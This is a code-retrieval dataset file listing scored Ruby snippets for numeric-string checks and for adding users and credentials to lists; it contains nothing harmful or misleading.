"score": "0.58962214",
"text": "def is_literal_string(value)\n value !~ /^\\s*(\\.\\d+|\\d+[.\\d]*)\\s*$/\n end",
"title": ""
}
] |
[
{
"docid": "f3a656c3dc4259d8dcc67e5ac2974bec",
"score": "0.69516736",
"text": "def get_data_type(data) # :nodoc:\n # Check for no data in the series.\n return 'none' unless data\n return 'none' if data.empty?\n\n # If the token isn't a number assume it is a string.\n data.each do |token|\n next unless token\n return 'str' unless token.kind_of?(Numeric)\n end\n\n # The series data was all numeric.\n 'num'\n end",
"title": ""
},
{
"docid": "f024f165902b77132f33cd234f6b2d35",
"score": "0.68057084",
"text": "def get_data_type(data) # :nodoc:\n # Check for no data in the series.\n return 'none' unless data\n return 'none' if data.empty?\n return 'multi_str' if data.first.is_a?(Array)\n\n # If the token isn't a number assume it is a string.\n data.each do |token|\n next unless token\n return 'str' unless token.is_a?(Numeric)\n end\n\n # The series data was all numeric.\n 'num'\n end",
"title": ""
},
{
"docid": "cfc2a2e38d2dfc1d674dcb8cc22266d4",
"score": "0.67539454",
"text": "def consume_numeric; end",
"title": ""
},
{
"docid": "2cf31daadc0fe85af382ad9fac85541d",
"score": "0.6576045",
"text": "def is_numeric?\n data_type == 'number'\n end",
"title": ""
},
{
"docid": "8d0cee81377b2e97d31bbc062aa9466f",
"score": "0.6533384",
"text": "def is_numeric?\n self.data_type == 'number'\n end",
"title": ""
},
{
"docid": "569eb71ce42b9eff4f34366db18aa753",
"score": "0.64610964",
"text": "def is_number? string\n \t\ttrue if Float(string) rescue false\n\tend",
"title": ""
},
{
"docid": "577686f102593d4baae17c10672d737a",
"score": "0.64440835",
"text": "def is_number? string\n true if Float(string) rescue false\nend",
"title": ""
},
{
"docid": "a55192bd30e71b8675fbb06a8f5a5171",
"score": "0.64434654",
"text": "def is_numeric?(obj)\n obj.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\nend",
"title": ""
},
{
"docid": "62e9ec906d0b640ec0a9aecad2c948f9",
"score": "0.64259386",
"text": "def numeric?(str)\n !str.to_s.match(/^-?[\\d.]+$/).nil?\n # str.to_i.to_s == str\nend",
"title": ""
},
{
"docid": "8e900a3c10f6790fd732bdc6f0a24ce7",
"score": "0.6419689",
"text": "def _is_numeric?(str)\n Float(str) != nil rescue false\n end",
"title": ""
},
{
"docid": "6939ccbd47cd29cb6ce0f9fa330193f5",
"score": "0.6377805",
"text": "def number?\n\t\ttrue if Float(string) rescue false\n\tend",
"title": ""
},
{
"docid": "dcc25685bf8acc81732e997fdb198043",
"score": "0.6369329",
"text": "def is_numeric?(s)\n begin\n Float(s)\n rescue\n false # not numeric\n else\n true # numeric\n end\nend",
"title": ""
},
{
"docid": "52ff7b01d49c16122899583e9f658109",
"score": "0.6354769",
"text": "def is_number(string)\r\n\ttrue if Float(string) rescue false\r\nend",
"title": ""
},
{
"docid": "723c9e5db80d06f35aa8a027800594e8",
"score": "0.63107455",
"text": "def is_numeric?(s)\n !!Float(s) rescue false\n end",
"title": ""
},
{
"docid": "be5cab5b1e1e579178b935d3ef1c6c28",
"score": "0.6296737",
"text": "def value_is_integer?(string)\n return string.strip.numeric?\n end",
"title": ""
},
{
"docid": "8627e84c8cafb8e12be1bd91cd433b06",
"score": "0.626391",
"text": "def is_number? string\n true if Float(string) rescue false\n end",
"title": ""
},
{
"docid": "8627e84c8cafb8e12be1bd91cd433b06",
"score": "0.626391",
"text": "def is_number? string\n true if Float(string) rescue false\n end",
"title": ""
},
{
"docid": "1aa99fd7de4378fc0425b3b2147e6bc0",
"score": "0.6259727",
"text": "def is_numeric(str)\n Float(str) != nil rescue false\n end",
"title": ""
},
{
"docid": "de7908e1f22d1a4fb9f58d20e971458f",
"score": "0.6252227",
"text": "def string_or_numeric!(v)\n case v\n when ''\n nil\n when String, Numeric\n true\n else\n raise Error, \"unexpected value received: #{v.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "d1a46b97c02d7ab52e2f912aca0e3b66",
"score": "0.62480146",
"text": "def is_number? string\n true if Float(string) rescue false\n end",
"title": ""
},
{
"docid": "18f47c2d9b1ccbbf2fa7478f6c72bf7a",
"score": "0.6242325",
"text": "def is_numeric?(s)\n !!Float(s) rescue false\n end",
"title": ""
},
{
"docid": "5e2c0c9916ff91bc1366d01107e54e99",
"score": "0.6220068",
"text": "def numeric?(string)\n !!(string =~ /\\A\\d+\\Z/)\nend",
"title": ""
},
{
"docid": "ea358323693e6d112868234358c85783",
"score": "0.6204594",
"text": "def is_number?(string)\n true if Float(string) rescue false #need to understand this\nend",
"title": ""
},
{
"docid": "2f4db7434c7ca9ba76165554c6f3cafc",
"score": "0.6191024",
"text": "def numeric?(string)\n Float(string) != nil rescue false\n end",
"title": ""
},
{
"docid": "bfebb19773e6bec3fb9b406276f19d3f",
"score": "0.61677146",
"text": "def is_number? string\n true if Float(string) rescue false\n end",
"title": ""
},
{
"docid": "0bd0fa681c84bbcb0d3cdffd294ec9d5",
"score": "0.61628306",
"text": "def is_number?(string)\n # catch and return false if it isn't an integer\n true if Float(string) rescue false \nend",
"title": ""
},
{
"docid": "2d4539ce3f2871f81fcec7d08387c0a0",
"score": "0.6141862",
"text": "def is_number?(str)\n true if Float(str) rescue false\n end",
"title": ""
},
{
"docid": "8b378474062682bca76b874b84e138ba",
"score": "0.6127713",
"text": "def number?(obj)\n obj = obj.to_s unless obj.is_a? String\n /\\A[+-]?\\d+(\\.[\\d]+)?\\Z/.match obj\nend",
"title": ""
},
{
"docid": "d00fcfdec761c85044fdd3b7a40bdac6",
"score": "0.6113079",
"text": "def is_numeric?(num)\n num == num.to_i.to_s || num == num.to_f.to_s\nend",
"title": ""
},
{
"docid": "07b06bdba83916bb026aadff4b531f31",
"score": "0.60843384",
"text": "def check_num_str(m)\n if m.to_i == 0\n m.to_s\n else\n m.to_i\n end\n end",
"title": ""
},
{
"docid": "bac5baa437aece9bc585f67b7355edd7",
"score": "0.6071348",
"text": "def can_be_number(string)\n forced_as_f = string.to_f # force string to be a float\n forced_as_i = string.to_i # force string to be an integer\n return string == forced_as_f.to_s || string == forced_as_i.to_s # see if either of the forced strings equal the original\nend",
"title": ""
},
{
"docid": "4482821d4ca42ee1987442f555d31922",
"score": "0.6068079",
"text": "def is_numeric(str)\n true if Integer(str) rescue false\nend",
"title": ""
},
{
"docid": "8bb67573823872a22164b6a56028d331",
"score": "0.6059525",
"text": "def as_val(s)\n if s < 1_000\n s\n elsif s >= 1_000_000_000_000\n (s / 1_000_000_000_000.0).round(1).to_s + 'T'\n elsif s >= 1_000_000_000\n (s / 1_000_000_000.0).round(1).to_s + 'B'\n elsif s >= 1_000_000\n (s / 1_000_000.0).round(1).to_s + 'M'\n elsif s >= 1_000\n (s / 1_000.0).round(1).to_s + 'K'\n end\nend",
"title": ""
},
{
"docid": "22f14f2c6348e4977b13760b450fb7b1",
"score": "0.6047021",
"text": "def is_number(str)\n true if Float(str)\nrescue StandardError\n false\nend",
"title": ""
},
{
"docid": "76db4dc06131188d07b57d73caf39ca0",
"score": "0.6040677",
"text": "def collect_number(mat)\n is_f = mat.include? '.'\n\n # Throw a fit if there's more than one decimal point\n fail \"Invalid number encountered: #{str}\" if mat =~ /.*\\..*\\./\n\n is_f ? Token.new(:float, mat.to_f) : Token.new(:integer, mat.to_i)\n end",
"title": ""
},
{
"docid": "b48c3989a28b4c9cf3bce460c6165a0d",
"score": "0.60374546",
"text": "def is_numeric?(obj)\n obj.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n end",
"title": ""
},
{
"docid": "9782eb2c0963ce98f77382c5f001a7dd",
"score": "0.60361856",
"text": "def is_number?(string)\n true if Float(string) rescue false\n end",
"title": ""
},
{
"docid": "1938bf5d37071ab8848593a06b87d85b",
"score": "0.6015278",
"text": "def str_to_val(s)\n case s\n when /^\\d+$/ then s.to_i\n when /^\\d+\\.\\d*/ then s.to_f\n when /^true$/ then true\n when /^false$/ then false\n else s\n end\nend",
"title": ""
},
{
"docid": "04272191dc5e61d11df77a2b5c4f4541",
"score": "0.60060114",
"text": "def checkifnumber?(obj)\n obj = obj.to_s unless obj.is_a? String\n /\\A[+-]?\\d+(\\.[\\d]+)?\\z/.match obj\n end",
"title": ""
},
{
"docid": "6cb28604fc029ca49b3b12382e9d48b6",
"score": "0.59998757",
"text": "def quote_numeric(value)\n value.to_s\n end",
"title": ""
},
{
"docid": "aa76991cbb4c47052ed00497f73b8df7",
"score": "0.599469",
"text": "def checkifnumber?(obj)\n obj = obj.to_s unless obj.is_a? String\n /\\A[+-]?\\d+(\\.[\\d]+)?\\z/.match obj\nend",
"title": ""
},
{
"docid": "44c3d7cd75eaff36f4501947c8b5ea16",
"score": "0.5985962",
"text": "def get_numeric(value)\n value.to_s.gsub(/(?<val>[0-9\\.]+e-?)(?<exp>[0-9]+)/) { |m|\n arr = m.split(/e/)\n if arr[1][0] =~ /[0-9]/\n \"#{arr[0]}e#{arr[1].rjust(3,'0')}\"\n else\n \"#{arr[0]}e#{arr[1][0]}#{arr[1][1..-1].rjust(3,'0')}\"\n end\n }.to_s\n end",
"title": ""
},
{
"docid": "e814fe3b002b8353b81024b400f57b5f",
"score": "0.5974575",
"text": "def can_be_numeric?\n type == :numeric\n end",
"title": ""
},
{
"docid": "85c8b669639a6066e4bb58cf7048ca52",
"score": "0.59613997",
"text": "def is_number?(string)\n true if Float(string) rescue false\n end",
"title": ""
},
{
"docid": "667de33a8805e27513692546c3eb7a14",
"score": "0.595361",
"text": "def type_literal_generic_numeric(column)\n column[:size] ? \"numeric(#{Array(column[:size]).join(', ')})\" : :numeric\n end",
"title": ""
},
{
"docid": "1c14038571873b5919ab096d07ecac92",
"score": "0.5947241",
"text": "def isNumeric(s)\n\t\tbegin\n\t\t\tFloat(s)\n\t\trescue\n\t\t\tfalse # not numeric\n\t\telse\n\t\t\ttrue # numeric\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a15beba79d05eb2cf47c3b03d693cbe9",
"score": "0.59241414",
"text": "def numeric?\n type == \"NUMERIC\"\n end",
"title": ""
},
{
"docid": "d1ec3f6517398d4c9c19040f95fd9efc",
"score": "0.5921204",
"text": "def recognizable_value?(value_as_string)\n value_as_string =~ /^(\\+|-)?\\d+(\\.\\d*)?$/\n end",
"title": ""
},
{
"docid": "2ae8d1e8377f5ee5c55cdb27cdded2ea",
"score": "0.5919977",
"text": "def sext(num, type)\n numeric_cast([:sext, :fp_ext], num, type)\n end",
"title": ""
},
{
"docid": "3f7d975ef0bf46767b6a84a088e45124",
"score": "0.5918998",
"text": "def is_numeric?(i)\n # check if i is a number\n i.to_i.to_s == i || i.to_f.to_s == i\n end",
"title": ""
},
{
"docid": "5c3a97080440279d6677bb606abf59e9",
"score": "0.5914329",
"text": "def clean_value(value)\n case value\n when Symbol then value.to_s\n when TrueClass then 1\n when FalseClass then 0\n when /^\\d+$/ then value.to_i # Integer\n when /^\\d+(\\.\\d+)?([eE]\\d+)?$/ then value.to_f # Float\n when blank? then nil\n else value\n end \n end",
"title": ""
},
{
"docid": "678439362d785165e811204a37391414",
"score": "0.59125066",
"text": "def numeric?\n\t\tself.to_i.to_s == self || self.to_f.to_s == self\n\tend",
"title": ""
},
{
"docid": "c11fd32f4cff4e4ef9b89fbdb21a17d2",
"score": "0.58957785",
"text": "def is_numeric?\n self.match(/^[0-9]+$/)\n end",
"title": ""
},
{
"docid": "f10c183a25a1ca75cf683343ec93fed1",
"score": "0.58751565",
"text": "def test_is_nummeric\n assert(StringChecker.is_numeric?(\"+20\"))\n assert(StringChecker.is_numeric?(\"-020\"))\n assert(StringChecker.is_numeric?(\"123\"))\n assert(StringChecker.is_numeric?(\"0123\"))\n assert(!StringChecker.is_numeric?(\"1.2\"))\n assert(!StringChecker.is_numeric?(\"asdf\"))\n assert(!StringChecker.is_numeric?(\" \"))\n end",
"title": ""
},
{
"docid": "c48fc1dcc9307262cd261b3f89890f7d",
"score": "0.58461803",
"text": "def is_num(num)\n #First convert num to float or integer . If it is not a number, result will be 0.0. Convert that back in to string to confirm that it matches\n num.to_f.to_s == num || num.to_i.to_s == num\nend",
"title": ""
},
{
"docid": "5969056254ad94b3a4fb309b8dc3d271",
"score": "0.5844504",
"text": "def is_number(value) #method\n if is_bool(value)\n false\n elsif value[0] == \"\\\"\"\n false\n else\n true\n end\n end",
"title": ""
},
{
"docid": "f44a5ff5d51862e35f7d0b7cf7942073",
"score": "0.5831249",
"text": "def is_numeric?\n\t\treturn (self.to_f.to_s == self.to_s || self.to_i.to_s == self.to_s)\n\tend",
"title": ""
},
{
"docid": "9ca2bace27e840088d6519a7c6d0ae45",
"score": "0.5803775",
"text": "def find_by_iso_numeric(num); end",
"title": ""
},
{
"docid": "f4685f02775b44a89a5be828a5004ab6",
"score": "0.5796779",
"text": "def numeric?; float?; end",
"title": ""
},
{
"docid": "c5d48a44caabd89d44b2dc493c41b3c4",
"score": "0.5788501",
"text": "def is_number?(str)\n return str == str.to_f.to_s || str == str.to_i.to_s\nend",
"title": ""
},
{
"docid": "df97690ec2913ccff3093f7f583ad734",
"score": "0.5780135",
"text": "def valid_number?(num)\n num.to_s unless num.is_a? String\n /\\A[+-]?\\d+(\\.[\\d]+)?\\z/.match num\nend",
"title": ""
},
{
"docid": "0748a7344a67b5c4b68c8909ba1edce1",
"score": "0.57559556",
"text": "def numberfy(string)\n message = string.downcase.split(//)\n message.each do |char|\n (ALPHA.include? char) ? number = ALPHA_HASH[char] : number = char\n @numeric_message << number\n end\n end",
"title": ""
},
{
"docid": "f0fcf01d4457642b30e8c996791c8f5c",
"score": "0.5755103",
"text": "def numeric?(obj)\n obj.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/).nil? ? false : true\n end",
"title": ""
},
{
"docid": "5c1acd5999fc5ad3e989fda80b1bf9f2",
"score": "0.574881",
"text": "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true \n end",
"title": ""
},
{
"docid": "5c1acd5999fc5ad3e989fda80b1bf9f2",
"score": "0.574881",
"text": "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true \n end",
"title": ""
},
{
"docid": "54177fb65e3933838409d900532d675f",
"score": "0.574199",
"text": "def my_parse_int(string)\n string.respond_to?(:to_i) ? string.to_i : \"NaN\"\nend",
"title": ""
},
{
"docid": "b850e5eb87f8b30d6b28ae38859a19f3",
"score": "0.57343626",
"text": "def convert_string_to_number(str); end",
"title": ""
},
{
"docid": "7e084bdb241f6337021c51f79ae36505",
"score": "0.5725212",
"text": "def numeric?\n true\n end",
"title": ""
},
{
"docid": "73392d786f3e2d1af946067567cb782f",
"score": "0.5710942",
"text": "def stringify(object)\n if object.nil?\n \"nil\"\n elsif object.is_a?(Float)\n text = object.to_s\n text.end_with?(\".0\") ? text[0...-2] : text\n else\n object.to_s\n end\n end",
"title": ""
},
{
"docid": "d33d792508709db3c631d8e99e221afb",
"score": "0.5704319",
"text": "def non_integer_string?(x_value, y_value)\n x_value.is_a?(String) && x_value.scan(/\\d/).empty? || \\\n y_value.is_a?(String) && y_value.scan(/\\d/).empty?\n end",
"title": ""
},
{
"docid": "e9aaa9978fabb6b33bf739e3f9890755",
"score": "0.57011443",
"text": "def parse_value(string)\n string = string.strip\n if string =~ /^\\d+\\.\\d+$/\n string.to_f\n elsif string =~ /^\\d+$/\n string.to_i\n elsif string.encap_by?('\"')\n string.uncapsulate('\"', limit: 1).gsub('\\\\\"', '\"')\n elsif string.encap_by?(\"'\")\n string.uncapsulate(\"'\", limit: 1).gsub(\"\\\\'\", \"'\")\n elsif string =~ /^\\/.*\\/[mix]?+$/\n string.to_regex\n elsif string =~ /^true$/i\n true\n elsif string =~ /^false$/i\n false\n elsif string =~ /^(null|nil)$/i\n nil\n elsif string =~ /^\\(?\\d+(\\.\\d+)?\\.{2,3}\\d+(\\.\\d+)?\\)?$/\n Range.new(*[string.split(/\\.+/, 2).map(&:to_i), string =~ /\\.{3}/].flatten)\n elsif string =~ /^\\[.*\\]$/\n string.uncapsulate('[', limit: 1).qsplit(',').map { |value| parse_value(value) }\n else\n string\n end\n end",
"title": ""
},
{
"docid": "15864aa087cf83533d3a2d6b1c91a209",
"score": "0.56982946",
"text": "def is_numeric?(val)\n Float val rescue false\n end",
"title": ""
},
{
"docid": "882f7d66a0ebd9ad0ac5b44421bfbe80",
"score": "0.56967694",
"text": "def string\n 1.0\n end",
"title": ""
},
{
"docid": "75adabad26c3b383c254f670cb54a5b5",
"score": "0.56868577",
"text": "def is_numeric(o)\n true if Integer(o) rescue false \n end",
"title": ""
},
{
"docid": "75adabad26c3b383c254f670cb54a5b5",
"score": "0.5684985",
"text": "def is_numeric(o)\n true if Integer(o) rescue false \n end",
"title": ""
},
{
"docid": "b0f7b66d18973a29509021131f5e5c68",
"score": "0.5678816",
"text": "def check_is_numeric(csv_data, column_name)\n data = csv_data.select{|item| !item[column_name].nil? }\n non_numeric_values = data.filter{|i| !CSV::Converters[:integer].call(i[column_name]).is_a?(Numeric) }\n naughty_values = non_numeric_values.map{|i| \" 👉 \\\"#{i[column_name]}\\\"\" }.join(\"\\n\")\n if non_numeric_values.length > 0\n puts \"🔴 Found non numeric data in #{column_name} \\n\\n#{naughty_values}\\n\\n\"\n return true \n else \n return false\n end\n end",
"title": ""
},
{
"docid": "9b467418159a0882c7954b7d33be64fc",
"score": "0.5672856",
"text": "def get_type(value) #method\n if value == 'verdadero'\n true\n elsif value == 'falso'\n false\n elsif value.include? '.'\n value.to_f\n elsif value.scan(/\\D/).empty?\n value.to_i\n else\n value\n end\n end",
"title": ""
},
{
"docid": "13e87c85dba91fe927d478c95b75e9ac",
"score": "0.5672629",
"text": "def call\n clean_value = remove_commas\n PURE_NUMERIC_REGEX.match?(clean_value) ? clean_value : @original_value\n end",
"title": ""
},
{
"docid": "01a28eb24c66c9a50277a0d3804fff81",
"score": "0.5667326",
"text": "def check_numericity\n check_patterns(@income.to_s)\n check_patterns(@age.to_s)\n end",
"title": ""
},
{
"docid": "34395bc1a0443bc28bdad883d599db18",
"score": "0.5666915",
"text": "def get_input_type(val)\n if val =~ /^[-+]?[0-9]*\\.[0-9]+$/ # float\n return 'f', val.to_f\n elsif val =~ /^[-+]?[0-9]+$/ #integer\n return 'i', val.to_i\n elsif val.nil?\n return nil, nil\n else\n return 's', val #if not int, float or nil I will just call it a string\n end\nend",
"title": ""
},
{
"docid": "3aba48f9ef6d864a8d151048644758f2",
"score": "0.56643915",
"text": "def is_numeric?\n begin Float(self)\n true \n end\n rescue\n false\n end",
"title": ""
},
{
"docid": "1cd87462ef1efca2420c69dd72e09f64",
"score": "0.56600064",
"text": "def is_a_number?(s)\n \ts.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n\tend",
"title": ""
},
{
"docid": "4fcc947cb40ff2d0bc8ff8b36b71b829",
"score": "0.5651986",
"text": "def categorize_number(num)\n case num\n when Fixnum then 'fixed number!'\n when Float then 'floating point!'\n end\nend",
"title": ""
},
{
"docid": "d94a206d2af3a8d0991eefcb31414953",
"score": "0.5650638",
"text": "def gets_sanity(num)\n num.chomp!.gsub!(\",\",\".\")\n # only allow int and float\n unless is_numeric?(num)\n nil\n else\n num.to_f\n end\n end",
"title": ""
},
{
"docid": "2b51af5c5b82ba3edde74d8ab3172f82",
"score": "0.56480324",
"text": "def numeric?(character)\n (character =~ /[0-9]/) == 0\n end",
"title": ""
},
{
"docid": "f50fc55e7016391e0252467f8e7336c5",
"score": "0.56419426",
"text": "def human_readable(number, type)\n\t# Do some math then return the number in a commified form:\n\treturn (number/type).to_s.gsub(/(\\d)(?=\\d{3}+(?:\\.|$))(\\d{3}\\..*)?/,'\\1,\\2')\nend",
"title": ""
},
{
"docid": "6e083be6b61fbee41d5c3ec1ec5b78ee",
"score": "0.563107",
"text": "def value_loader\n @data_type == 'integer' ? :to_i : :to_s\n end",
"title": ""
},
{
"docid": "8f0111bf913f28b4678879f2090d2c9b",
"score": "0.56296307",
"text": "def to_a str\n str.split(' ').map{|v| Float(v) rescue v}\nend",
"title": ""
},
{
"docid": "ca4773b1885024049c098c579e5df680",
"score": "0.5619848",
"text": "def is_numeric?(obj)\n if /[^0-9]/.match(obj) != nil\n return true\n end\n false\nend",
"title": ""
},
{
"docid": "b6bd803b3f6a076cf78e4ea74b770dfd",
"score": "0.5616004",
"text": "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n end",
"title": ""
},
{
"docid": "b6bd803b3f6a076cf78e4ea74b770dfd",
"score": "0.5616004",
"text": "def is_a_number?(s)\n s.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n end",
"title": ""
},
{
"docid": "3137fe9be135fa012502a005ef2d4520",
"score": "0.5607782",
"text": "def is_a_number?(word)\n Integer(word) rescue false\nend",
"title": ""
},
{
"docid": "5f2a86e72b9b75d15b324343f16e1dd1",
"score": "0.5604705",
"text": "def isNumber(text)\r\n @@log.debug(\"XmlRuleVisitor::isNumber\")\r\n @@log.debug(text.inspect)\r\n\r\n if (nil != text.index('.'))\r\n num = text.to_f\r\n if (num.to_s == text)\r\n @@log.debug(\"isNumber: float: #{num.to_s}\")\r\n return num\r\n end # if num\r\n end # if nil\r\n\r\n num = text.to_i\r\n if (num.to_s == text)\r\n @@log.debug(\"isNumber: int: #{num.to_s}\")\r\n return num\r\n end # if num\r\n\r\n return nil\r\n\r\n end",
"title": ""
},
{
"docid": "dc56f7baf5f23f62bd2220b2c61ead94",
"score": "0.5601079",
"text": "def to_numeric(anything)\n\n num = BigDecimal.new(anything.to_s)\n if num.frac == 0\n num.to_i\n else\n num.to_r\n end\n end",
"title": ""
},
{
"docid": "a65223fc6dba3fb5f55a902261731e17",
"score": "0.5597755",
"text": "def numerical_representation\n @numerical_representation ||= digits.scan(/\\d{11}/).collect {|p| \"#{p} #{digit(p)}\" }\n end",
"title": ""
},
{
"docid": "1ec65c3a4601cbe202450b348a6f74d1",
"score": "0.5591063",
"text": "def cleaned_num_str\n @cleaned_num_str ||= sans_whitespace_and_commas\n end",
"title": ""
},
{
"docid": "379a1ef459d4478962551c6b19387697",
"score": "0.5585832",
"text": "def number?(input)\n #edge case, doesn't deal with 1. or 1.30 it either adds a zero or takes one off\n input.to_i.to_s == input || input.to_f.to_s == input\nend",
"title": ""
},
{
"docid": "418e57e0d2f4e7d49b9123e459b6f7b2",
"score": "0.558174",
"text": "def numeric?\n val.numeric?\n end",
"title": ""
},
{
"docid": "54bb747d6b41ac14c03211bfbb4c3770",
"score": "0.55797476",
"text": "def is_numeric(num)\n\n if num.to_f.to_s == num || num.to_i.to_s == num\n return true\n else\n return false\n end\n\nend",
"title": ""
},
{
"docid": "58448ab471a42e1fae2e80941b261ed8",
"score": "0.5576309",
"text": "def esUnNumero?(valor)\n valor.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n end",
"title": ""
}
] |
85f8b98c03810e264a957ccc7de5bc00
|
append new user to credentials list
|
[
{
"docid": "cccbb570adec0e8ce099f263cc9afa6d",
"score": "0.0",
"text": "def write_user_credentials(username, password)\n File.open(credentials_path, 'a') do |users|\n users.write(Psych.dump(\"#{username}\": encrypt_password(password)))\n end\n clean_yaml\nend",
"title": ""
}
] |
[
{
"docid": "15615f12ebb0d0452f615c789b4d77b5",
"score": "0.69405776",
"text": "def addToUserList\n $store << [@email,@username,@password]\n puts \"Added user to list\"\n print $store.to_s + \"\\n\"\n end",
"title": ""
},
{
"docid": "66a54de62501bb3da183aba00d6d0479",
"score": "0.66907424",
"text": "def addCredentials(credential)\n\t\[email protected](credential)\n\tend",
"title": ""
},
{
"docid": "a30717f46e2b3a408f4c298caa4a39ed",
"score": "0.6606704",
"text": "def add_user(user)\n @users << user\n end",
"title": ""
},
{
"docid": "565141654a937afbabd74186ba5f5eb7",
"score": "0.6578965",
"text": "def add_users(new_users)\n\n return if new_users.nil?\n\n self.users = '|' if self.users.nil? or self.users.empty?\n self.users += new_users.join('|') + '|'\n end",
"title": ""
},
{
"docid": "dfc6af37cca200d8ba017f68c35b17fe",
"score": "0.6568265",
"text": "def add_user(name)\n\t@users << {:name => name}\n end",
"title": ""
},
{
"docid": "49678b1aef94d71027dca40ea0180557",
"score": "0.65141124",
"text": "def add(new_creds)\n @credentials.merge!(new_creds) { |_, old_val, new_val| old_val + new_val }\n end",
"title": ""
},
{
"docid": "9b1d4b6f021c21875da67ea52e5380c8",
"score": "0.64104044",
"text": "def add_user(user)\n self.users << user unless self.users.include?(user)\n end",
"title": ""
},
{
"docid": "83c1cb7fa050d980d6189392f8a86711",
"score": "0.63549125",
"text": "def addWorkingUser user\n @workingUsers << user\n @workingUsers.uniq!\n end",
"title": ""
},
{
"docid": "ab0a517c9cf80185ab61ec861f18f0eb",
"score": "0.6350715",
"text": "def add_user(newuser)\n @group_users.push(newuser)\n end",
"title": ""
},
{
"docid": "7c35be1355a511ea24e5d34e9e01443c",
"score": "0.6298272",
"text": "def add_credentials!\n @accessor.auth_manager.add_credentials(self)\n end",
"title": ""
},
{
"docid": "bd566ad0ebb685276c9eb35c710268fe",
"score": "0.62916374",
"text": "def add_user(user)\n @usernames[user] = get_color unless @usernames.has_key?(user)\n end",
"title": ""
},
{
"docid": "081854a5b3c8c9be3a492281a055ecc2",
"score": "0.626537",
"text": "def add(username, password, algorithm = Algorithm::DEFAULT)\n raise PasswdFileError, \"Unable to add already existing user #{username}\" if has_entry?(username)\n new_entry = PasswdEntry.new(username, password, algorithm)\n new_index = @lines.size\n @lines << new_entry.to_s\n @entries[new_entry.key] = { 'entry' => new_entry, 'line_index' => new_index }\n dirty!\n return nil\n end",
"title": ""
},
{
"docid": "9ba5fc9d7f1cd4ac1e6ec5a613cc28f8",
"score": "0.6222879",
"text": "def add_credential(db, username, password)\n @credentials ||= {}\n @credentials[db] = [ username, password ]\n apply_credentials\n end",
"title": ""
},
{
"docid": "4153b413e6006a0d83cc473143e9e975",
"score": "0.6195377",
"text": "def create_secure_users(list_of_user)\n list_of_user.each do |user|\n user[:password] = create_new_hash(user[:password])\n end\n list_of_user\n end",
"title": ""
},
{
"docid": "509964d9dbe0656052fe1617917f46ed",
"score": "0.61316323",
"text": "def add_user(new_user_id, users)\r\n print \"Please enter a username: \"\r\n new_username = Readline.readline.strip\r\n\r\n user_index = users.find_index { |user| user.username == new_username }\r\n\r\n if new_username.strip.empty?\r\n puts \"You cannot create a user with an empty username, please try again.\"\r\n puts \"Press any key to continue.\"\r\n STDIN.getch\r\n return nil\r\n elsif !user_index.nil?\r\n puts \"There is already an account with that name, please try again.\"\r\n puts \"Press any key to continue.\"\r\n STDIN.getch\r\n return nil\r\n end\r\n\r\n print \"Do you want to set a password? (y/n) or (m) to return to the main login screen: \"\r\n password_wanted = Readline.readline.strip.downcase\r\n\r\n new_user = nil\r\n\r\n while new_user.nil?\r\n if password_wanted == \"y\"\r\n print \"Enter password: \"\r\n new_password = Readline.readline\r\n new_user = User.new(new_user_id, new_username, new_password)\r\n print \"Please confirm your password: \"\r\n elsif password_wanted == \"n\"\r\n new_user = User.new(new_user_id, new_username)\r\n elsif password_wanted == \"m\"\r\n return nil\r\n end\r\n\r\n end\r\n\r\n return new_user\r\nend",
"title": ""
},
{
"docid": "bacda40890ca56b74cfb74c776a37301",
"score": "0.61019546",
"text": "def add_users(users)\n users.each do |user|\n @users.push(user)\n end\n end",
"title": ""
},
{
"docid": "f7bc8ecdd2022ac0d2c2facf30bc16b7",
"score": "0.60988176",
"text": "def add nick, email, jid\n\t\[email protected] Hash[\n\t\t\t'nick' => nick,\n\t\t\t'email' => email,\n\t\t\t'jid' => jid,\n\t\t\t'role' => 'user',\n\t\t\t'password' => 'NOTSET']\n\tend",
"title": ""
},
{
"docid": "62919969fe4de57bf75854a9937d85c4",
"score": "0.60573196",
"text": "def create_account\n system 'clear'\n puts \"--------LOGIN--------\"\n used_flag = false\n while !used_flag\n new_user = @prompt.ask(\"Enter username: \", required: true)\n if !User.all.map(&:name).include?(new_user)\n new_password = @prompt.mask(\"Enter password: \", required: true)\n used_flag = 1\n else\n puts \"Username already taken\"\n end\n end\n @current_user = User.create(name: new_user, password: new_password)\n main_menu\n end",
"title": ""
},
{
"docid": "8a76b8f0a2cfb7aa8556545e8587d07e",
"score": "0.6048846",
"text": "def add_user!( user, update_user = true )\n puts \"add_user\"\n unless @users.include?( user )\n @users << user\n user.add_badge!( self, false ) if update_user\n end\n return @users\n end",
"title": ""
},
{
"docid": "96fe8a26aeedfcaff69c32c3c544187d",
"score": "0.6045518",
"text": "def add_user_hash(h, collection)\n if !h[:login] && !h[:studentnumber]\n raise ArgumentError.new(\"New user has neither login nor student number\")\n end\n \n user = nil\n user = User.find_by_login(h[:login]) if h[:login]\n user ||= User.find_by_studentnumber(h[:studentnumber]) if h[:studentnumber]\n\n if user\n # Existing user\n collection << user unless collection.include?(user)\n else\n # New user\n user = User.new\n user.studentnumber = h[:studentnumber]\n user.firstname = h[:firstname]\n user.lastname = h[:lastname]\n user.email = h[:email]\n user.password = h[:password]\n user.login = h[:login]\n \n user.save! # raise an exception if something fails\n \n collection << user\n end\n\n end",
"title": ""
},
{
"docid": "2f0f860144850a96c32c2e3043e0d229",
"score": "0.6037348",
"text": "def add_user(jid)\n users << jid.to_s.downcase\n users.sort!\n users.uniq!\n end",
"title": ""
},
{
"docid": "5f1674d4e947e30199298592ecf9a675",
"score": "0.6023709",
